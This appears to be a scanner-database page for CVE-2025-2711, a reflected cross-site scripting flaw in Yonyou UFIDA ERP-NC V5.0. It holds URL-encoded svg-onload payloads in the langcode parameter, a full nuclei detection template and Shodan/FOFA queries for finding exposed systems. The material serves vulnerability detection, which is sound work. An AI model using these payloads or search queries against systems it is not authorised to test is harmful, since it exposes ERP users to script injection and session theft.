Yonyou UFIDA ERP-NC V5.0 - Cross-Site Scripting

mediumseverity

6.1CVSS score

1%likelihood of exploitation, next 30 days

62%of all CVEs are less likely

Readycheck to confirm it

Yonyou UFIDA ERP-NC V5.0 is vulnerable to reflected cross-site scripting (XSS) via the langcode parameter in /help/systop.jsp and /help/top.jsp. Unsanitized user input is reflected in the response, allowing arbitrary JavaScript execution.

Impact

Successful exploitation of this XSS vulnerability allows attackers to execute arbitrary JavaScript code in victims' browsers, potentially leading to session hijacking, credential theft, or other malicious activities in the ERP system.

Fix

Update Yonyou UFIDA ERP-NC to the latest version. Implement proper input validation and output encoding for all user-supplied data, especially the langcode parameter in help JSP files.

How to confirm it

Send: GET {{BaseURL}}/help/systop.jsp?langcode=1%22%3E%3Csvg%20onload=alert(document.domain)%3E ; GET {{BaseURL}}/help/systop.jsp?langcode=1%22%3E%3C/script%3E%3Csvg%20onload=alert(document.domain)%3E
Positive when: contains "<svg onload=alert(document.domain)>.png)" and "Search.jsp" AND contains in content_type "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2025-2711 -u <target>

The full check

id: CVE-2025-2711

info:
  name: Yonyou UFIDA ERP-NC V5.0 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    Yonyou UFIDA ERP-NC V5.0 is vulnerable to reflected cross-site scripting (XSS) via the langcode parameter in /help/systop.jsp and /help/top.jsp. Unsanitized user input is reflected in the response, allowing arbitrary JavaScript execution.
  impact: |
    Successful exploitation of this XSS vulnerability allows attackers to execute arbitrary JavaScript code in victims' browsers, potentially leading to session hijacking, credential theft, or other malicious activities in the ERP system.
  remediation: |
    Update Yonyou UFIDA ERP-NC to the latest version. Implement proper input validation and output encoding for all user-supplied data, especially the langcode parameter in help JSP files.
  reference:
    - https://github.com/Hebing123/cve/issues/86
    - https://nvd.nist.gov/vuln/detail/CVE-2025-2711
  classification:
    epss-score: 0.00957
    epss-percentile: 0.61728
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2025-2711
    cwe-id: CWE-79
    cpe: cpe:2.3:a:yonyou:ufida_erp-nc:5.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: yonyou
    product: ufida_erp-nc
    fofa-query: icon_hash="1085941792"
    shodan-query: title:"用友"
  tags: cve,cve2025,xss,erp-nc,ufida,yonyou,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/help/systop.jsp?langcode=1%22%3E%3Csvg%20onload=alert(document.domain)%3E"
      - "{{BaseURL}}/help/systop.jsp?langcode=1%22%3E%3C/script%3E%3Csvg%20onload=alert(document.domain)%3E"

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<svg onload=alert(document.domain)>.png)'
          - 'Search.jsp'
        condition: and

      - type: word
        part: content_type
        words:
          - 'text/html'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from